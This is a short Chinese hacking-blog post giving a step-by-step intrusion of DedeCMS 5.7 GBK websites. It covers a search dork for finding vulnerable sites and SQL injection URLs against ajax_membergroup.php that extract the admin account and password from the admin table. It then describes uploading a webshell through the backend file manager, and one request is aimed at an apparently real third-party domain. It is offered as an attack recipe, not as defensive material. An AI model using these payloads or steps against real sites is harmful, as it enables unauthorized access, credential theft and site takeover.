dedecms 版本漏洞

hacker5年前黑客文章1069

织网5.7的漏洞,可任意上传~

搜索关键词:Powered by DedeCMSV57_GBK 2004-2011 DesDev Inc

访问/data/admin/ver.txt来查看cms

然后访问/member/ajax_membergroup.php?action=post&membergroup=1,出现"朋友 修改"即可注入

通过注入得到管理员帐号密码,搜后台,上传大马OK~提权还在学习阶段~

1

查看网站的版本

code 区域
cms /data/admin/ver.txt

2

查看是否有"朋友 修改",有则存在注入


code 区域
/member/ajax_membergroup.php?action=post&membergroup=1

3

帐号

code 区域
http://www.dzdyk.com /member/ajax_membergroup.php?action=post&membergroup=@`'` Union select userid from `%23@__admin` where 1 or id=@`'`

4

去掉前三位和最后一位,得到管理员密码

code 区域
/member/ajax_membergroup.php?action=post&membergroup=@`'` Union select pwd from `%23@__admin` where 1 or id=@`'`

5

扫后台,登录成功

6

后台页面

7

模块-文件管理器-文件上传 上传大马

8

登录webshell

标签: 黑客技术

相关文章

AcunetixWVS的典型性主要用途是啥?

AcunetixWVS的典型性主要用途是啥?

什么是Acunetix WVS? Acunetix是一个Web漏洞检测程序流程,可全自动查验Web程序运行的系统漏洞,比如跨网站脚本制作,SQL引入,身份认证网页页面上的明文密码抗压强度和随意文件创...

黑客技术,黑客找赌博人合作

黑客技术,黑客找赌博人合作

一、技术黑客接单流程 1、接单方法他们不信任自愿合作和信息分享他们只喜欢控制的合作。技术找赌博人合作黑客在别人眼中是一件坏事,但黑客只是一个喜欢追求技术突破的人。他们擅长入侵、破解、攻击、社会攻击等等...

SnoopSnitch安装与使用方法

SnoopSnitch安装与使用方法

SnoopSnitch是一款开源系统Android程序运行,为客户出示检测移动终端及其设备连接的移动互联网安全系数的机遇。 SnoopSnitch运用是一款用于剖析挪动通信网络的挪动防护软件。该运用...

学好应用Striker等于你也就会应用了17个网络黑客专业技

学好应用Striker等于你也就会应用了17个网络黑客专业技

Striker是一个让人抵触的信息内容和漏洞扫描器。只必须了解网站域名,就可以完成自动化技术信息收集和漏洞检测;针对初学者非常的合适!   作用 只应向Striker出示网站域名,它便会全...

黑客技术(黑客技术自学教程 小学生)

黑客技术(黑客技术自学教程 小学生)

怎么学习黑客技术 1、参与CTF比赛 CTF比赛是黑客学习和提高技能的重要途径,初学者可以参加一些入门级别的CTF比赛,挑战自己的技能,并从比赛中学习经验和技巧。2、必须保持学徒的心:一个真正的大师永...

Kismac是不是适用全部电脑操作系统?

Kismac是不是适用全部电脑操作系统?

什么叫Kismac? KisMAC是wifi网络发觉黑客工具。虽然代码库是不一样的,但这类时兴的无线网络拦路虎出示了其名字Kismet的好多个作用。这一专用工具出示了一个好看的GUI,而且在Kism...